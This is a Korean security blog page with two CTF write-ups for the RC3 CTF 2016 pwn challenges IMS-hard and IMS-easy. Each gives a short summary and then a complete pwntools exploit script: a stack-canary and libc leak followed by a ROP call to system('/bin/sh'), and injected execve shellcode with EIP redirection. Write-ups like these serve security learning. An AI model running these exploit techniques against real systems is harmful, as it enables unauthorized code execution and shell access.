'0x00 전체 보기'에 해당되는 글 101건
- 2016.12.10 [pwnable.kr] unexploitable(500pt)
- 2016.12.04 [pwnable.kr] unlink(10pt)
- 2016.12.02 [pwnable.kr] asm(6pt)
- 2016.12.01 [pwnable.kr] md5 calculator(200pt)
- 2016.11.28 [pwnable.kr] fix(35pt)
- 2016.11.25 [RC3 CTF_2016] IMS-hard(pwn) 2
- 2016.11.25 [RC3 CTF_2016] IMS-easy(pwn)
- 2016.10.30 [pwnable.kr] simple login(50pt)
- 2016.10.30 [pwnable.kr] fsb(20pt)
- 2016.10.30 [pwnable.kr] brain fuck(150pt)
2016. 12. 10. 07:02
2016. 12. 4. 05:49
2016. 12. 2. 04:11
2016. 12. 1. 16:49
2016. 11. 28. 04:02
2016. 11. 25. 00:58
## RC3 CTF_2016(IMS-hard,pwn,400pts)
[Summary]
1. OOB memory leak(stack) vuln -> canary leak, libc leak
2. NX, Stack Canary Bypass
3. ROP exploit
4. Use libc-database -> libc version check
[Exploit Code]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | from pwn import * import base64 context(arch = 'i386',os='linux') local=True if local: p = process("./IMS-hard") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("ims.ctf.rc3.club",8888) binary = ELF("./IMS-hard") raw_input() def send_add(id_param, code_param): p.recvuntil('Choose: '); p.send('1\n') p.recvuntil('ID: '); p.send(id_param + '\n') p.recvuntil('code: '); p.send(code_param + '\n') def send_delete(id_param): p.recvuntil('Choose: '); p.send('2\n') p.recvuntil('delete: '); p.send(id_param + '\n') def view_record(index): p.recvuntil('Choose: '); p.send('3\n') p.recvuntil('view: '); p.send(index + '\n') stack_leak = p.recvline() stack_leak = stack_leak[12:stack_leak.find(',')] #print '[*] wjdebug : ' + hex((int(stack_leak) & 0xffffffff)) #print '[*] wjdebug : ' + hex(stack_leak) return stack_leak for i in xrange(0,5): send_add('1094795585','BBBBCCCC') ############################ info leak ################################ popret_gadget = 0x08048a7c libc_start_main_got = 0x08049fec printf_got = 0x08049fc4 puts_plt = 0x08048560 puts_got = 0x08049fdc fwrite_got = 0x08049fd8 puts_offset = 0x657e0 oneshot_gadget_offset = 0x4025b system_offset = 0x40310 binsh_offset = 0x16084c start_addr = 0x8048a7e print '[INFO LEAK VULN]' ### info 1 ### canary_leak = view_record('5') canary_addr = hex(int(canary_leak) & 0xffffffff) print '[*] stack_canary : ' + canary_addr print '[*] stack_canary(dec) : ' + str(int(canary_addr,16)) ######################################################################### send_add(str(int(canary_addr,16)),'BBBBCCCC') # canary control send_add('1094795585','BBBBCCCC') # garbage ('AAAABBBBCCCC') send_add(str(puts_got),p32(puts_plt) + p32(popret_gadget)) # puts_plt + popret + puts_got #send_add(str(printf_got),p32(puts_plt) + p32(popret_gadget)) # puts_plt + popret + printf_got send_add('1094795585',p32(start_addr) + 'CCCC') # _start addr p.recvuntil('Choose: '); p.send('4\n') puts_addr = u32(p.recv(4)) libc_base_addr = puts_addr - puts_offset oneshot_gadget_addr = libc_base_addr + oneshot_gadget_offset system_addr = libc_base_addr + system_offset binsh_addr = libc_base_addr + binsh_offset print '[*] puts_addr : ' + hex(puts_addr) print '[*] libc_base_addr : ' + hex(libc_base_addr) print '[*] oneshot_gadget_addr : ' + hex(oneshot_gadget_addr) print '[*] system_addr : ' + hex(system_addr) print '[*] binsh_addr : ' + hex(binsh_addr) for i in xrange(0,9): send_delete('0') for i in xrange(0,5): send_add('1094795585','BBBBCCCC') send_add(str(int(canary_addr,16)),'BBBBCCCC') send_add('1094795585','BBBBCCCC') send_add(str(int(binsh_addr)),p32(system_addr) + 'CCCC') p.recvuntil('Choose: '); p.send('4\n') ######################### libc version check ############################# #got_leak = p.recv(1024) #puts_got = u32(got_leak[0:4]); #puts_got_addr = hex(int(puts_got) & 0xffffffff) #printf_got = u32(got_leak[5:9]); #fwrite_got_addr = hex(int(fwrite_got) & 0xffffffff) #print '[*] puts_got : ' + hex(puts_got) #print '[*] printf_got : ' + hex(printf_got) ########################################################################## p.interactive() # ref) https://github.com/niklasb/libc-database # dynELF study (https://gist.github.com/Inndy/a2c630a6e70d892758908915914cebfc) | cs |
'CTF writeup' 카테고리의 다른 글
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
---|---|
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
[Holyshield CTF_2016] pwnme(pwn) (0) | 2016.12.26 |
[RC3 CTF_2016] IMS-easy(pwn) (0) | 2016.11.25 |
2016. 11. 25. 00:51
## RC3 CTF_2016(IMS-easy,pwn,150pts)
[Summary]
1. OOB memory leak(stack) vuln
2. Shellcode Execute & EIP control
[Exploit Code]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * import base64 context(arch = 'i386',os='linux') local=False if local: p = process("./IMS-easy") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("ims.ctf.rc3.club",7777) binary = ELF("./IMS-easy") raw_input() def send_add(id_param, code_param): print p.recvuntil('Choose: ') p.send('1\n') print p.recvuntil('ID: ') p.send(id_param+'\n') print p.recvuntil('code: ') p.send(code_param+'\n') send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90') #send_add('1768042344','\x31\xc0\x50\x68'+'\x2f\x2f\x73\x68') #send_add('2424360203','\x6e\x89\xe3\x50'+'\x53\x89\xe1\xb0') send_add('1751675695','\x6a\x0b\x58\x31'+'\xf6\x56\x68\x2f') send_add('2160970377','\x2f\x62\x69\x6e'+'\x89\xe3\x31\xc9') for i in xrange(0,3): send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90') print p.recvuntil('Choose: ') p.send('3\n') print p.recvuntil('view: ') p.send('7\n') stack_leak = p.recvline() print stack_leak stack_leak = stack_leak[12:stack_leak.find(',')] stack_addr = hex(4294967295+int(stack_leak)+1) print 'stack_addr : ' + stack_addr print 'stack_addr(dec) : ' + str(int(stack_addr,16)) print p.recvuntil('Choose: ') p.send('1\n') print p.recvuntil('ID: ') p.send(str(int(stack_addr,16)-220)+'\n') # EIP control to shellcode! print p.recvuntil('code: ') p.send('AAAAAAAA\n') print p.recvuntil('Choose: ') p.send('4\n') p.interactive() ''' print '[*] Sending Payload...' payload = base64.b64encode('0000\x78\x92\x04\x08\x40\xeb\x11\x08') + '\n' p.send(payload) print p.recv(1024) print "[*] Exploit Success~~!!!\n\n" p.interactive() ''' | cs |
'CTF writeup' 카테고리의 다른 글
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
---|---|
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
[Holyshield CTF_2016] pwnme(pwn) (0) | 2016.12.26 |
[RC3 CTF_2016] IMS-hard(pwn) (2) | 2016.11.25 |
2016. 10. 30. 09:01
2016. 10. 30. 02:27
2016. 10. 30. 02:21